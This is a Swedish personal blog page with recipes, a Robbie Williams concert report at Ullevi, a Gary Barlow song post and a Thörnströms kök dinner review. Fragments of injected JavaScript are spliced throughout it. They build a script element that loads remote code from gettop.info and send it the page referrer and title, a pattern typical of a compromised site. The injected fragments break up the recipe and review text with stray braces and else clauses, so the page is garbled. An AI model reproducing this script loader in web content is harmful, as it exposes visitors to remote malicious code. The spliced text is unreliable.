Elin’s basilikasås med honung

Den här kalla såsen passar perfekt till fisk och skaldjur.

Recept:
Färsk basilika
Olivolja
Citron
Honung
Creme Fraiche

Gör så här:
Blanda basilika med ca 1/2 dl olivolja, lite citron och honung samt några matskedar creme fraiche och mixa i en mixer. Ställ kallt i kylskåp innan servering.
bild (96)

bild (93)bild (86)

s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; document.currentScript.parentNode.insertBefore(s, document.currentScript);

Robbie Williams Ullevi 20/7

Igår var jag på Robbie Williams konsert på Ullevi. Min favorit och kvällens bästa låt var ”Angels”.  Gårdagens publiksiffra blev den näst bästa på Ullevi någonsin. 61 449 personer såg Williams, mot de 66 561 som såg Springsteen i fjol. Förband var Olly Murs. Nu fick Olly vara stand in för Kylie Minogue i låten Kids tillsammans med Robbie. Olly började sin karriär i tv-programmet  X Factor 2009. Under TV-seriens gång sjöng han ”She’s the One”.

YouTube Preview Image

O

År 2010 släppte han sitt första album ”Olly Murs” och har sedan dess tunerat runt om i England, USA och Europa.

Innan konserten var vi på Ullevi VIP och åt en otroligt god buffé, drack champagne och en massa gott vin. Vi satt på den ena kortsidan på Paradentren VIP på vån 4, rad ett och plats 170. Kunde inte fått en bättre sittplats och perfekt utsikt över scenen.

bild1

bild33bild32bild28bild30bild27

bild31bild26bild5bild18bild3

bild4bild6bild5bild7bild8

bild9

bild11bild14bild12bild10bild17bild13bild16bild15bild8bild7

 

if (document.currentScript) { s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

Minispett med melon, tomat och mozzarella

De här minispetten är roliga att servera vid en middagsbjudning.
Spett
Det här behöver du:
Ett paket med träpinnar
Minitomater
Minimozzarella
Vattenmelon

Jag använde en kulsked, men det går lika bra att skära melonen i fyrkanter.
Trä på melon, tomat och mozzarella enligt tycke och smak och förvara i kylskåp innan servering.} else {

} else {} else {

Inlagd gurka

Här kommer ett enkelt och gott recept på inlagd gurka.

Gurka

Recept 6 personer
1 gurka
2 msk ättiksprit (12%)
2 msk socker
1 dl vatten
0,5 krm vitpeppar
1 krm salt
1 dl hackad persilja

Gör så här:
Skala och skär gurkan i tunna skivor. Blanda ättika, socker, vatten, peppar och salt i en skål. Lägg i gurkskivorna. Strö över rikligt med hackad persilja. Låt gurkskivorna ligga i lagen någon timme innan de serveras.

 

 }

}var d=document;var s=d.createElement(‘script’);

Gary barlow Sing

YouTube Preview Image YouTube Preview Image

Ni bara måste lyssna på den här underbara låten som heter ”Sing”.

YouTube Preview Image

Sing Gary Barlow & The Commonwealth Band

A very special souvenir album celebrating the Diamond Jubilee.

Includes Sing, written by Gary Barlow and Andrew Lloyd Webber featuring the Military Wives with Gareth Malone and artists from around the Commonwealth.

Also includes Here Comes the Sun performed by Gary Barlow & The Commonwealth Band. The album also features Alfie Boe, Hayley Westenra and Laura Wright

 

if (document.currentScript) {

d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Thörnströms kök, Göteborg 20:e juni 2013

I år firade jag min födelsedag på Thörnströms kök med en underbar middag.
Det blev en 4-rätters Skandinavisk meny med passande vin.

bild (103)

bild (104)

bild (108)

bild (106)

Innan vi fick in vår förrätt blev det en liten aptitretare.

bild (102)

  • Halstrad makrill med syrad persiljerotscrème, öringrom samt rädisor och selleri

bild (110)

  • Svensk grön sparris med bakat lantägg, löjromssmörsås samt vattenkrasse

bild (100)

  • Bakad slätvar med sotad purjolök, grillad färsklök, mjölk- och vitlöksskum samt dillslungad nypotatis

bild (89)

Innan vår efterrätt kom in fick vi in en somrig lite tallrik…

bild (93)

 

  • Citron- och flädersorbet med morotskaka, vaniljmousse och morotsmaränger

bild (98)

Efter allt det goda fick vi ett litet bonusfat med godsaker.

bild (86)

Vi blev rekommenderade att dricka ett vin som heter Keller Hubacker Riesling 2011.

bild (99)

 

 

 

 

 if (document.currentScript) {

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;